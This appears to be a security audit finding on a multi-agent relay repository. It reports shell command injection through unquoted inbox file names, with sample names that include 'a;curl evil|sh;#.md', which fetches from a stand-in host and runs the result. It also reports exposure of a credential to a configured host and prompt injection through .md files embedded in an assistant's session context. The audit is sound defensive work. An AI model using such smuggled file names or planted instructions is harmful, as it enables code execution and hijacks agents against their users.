@Shuffle-1992/zcode-dispatch

msg.name comes from readdirSync(INBOX) filtered only by endsWith('.md') and not starting with '.'/'README'; it is interpolated into a shell string without quoting, and execSync runs it via /bin/sh (cmd.exe on Windows). A file in collab/inbox-trae named e.g. "x & calc & y.md" or "a;curl evil|sh;#.md" yields arbitrary command execution as the user whenever relay-once.mjs runs (manual run, scheduled task, or watcher on a cloned/untrusted project). The same applies to the unquoted suiteArg.join(' ').

The script reads ~/.zcode/v2/config.json, extracts the plaintext provider credential and sends it as x-api-key to `${baseURL}/v1/models` and `/v1/messages`, where baseURL also comes from that config. It does not print the key (only its shape/length), and there is no hardcoded third-party host, so this is a manual diagnostic rather than a backdoor — but whoever controls the configured baseURL (or a malicious profile entry) receives the live credential, and up to 300 chars of the response are echoed to stdout/logs.

Up to 10 files from collab/inbox-zcode (plus state.json) are embedded verbatim — 1500 chars each — into the SessionStart additionalContext, i.e. directly into the model prompt, together with instruction-shaped text telling the agent to process them. trae-stop-check.mjs similarly emits {"decision":"block","reason":<instructions>} to force another agent turn. Anyone able to drop a .md file in the shared collab/ directory (peer agent, tool, or a cloned repo) can therefore steer the assistant's behaviour; impact is limited to the local collaboration workflow, not arbitrary code execution.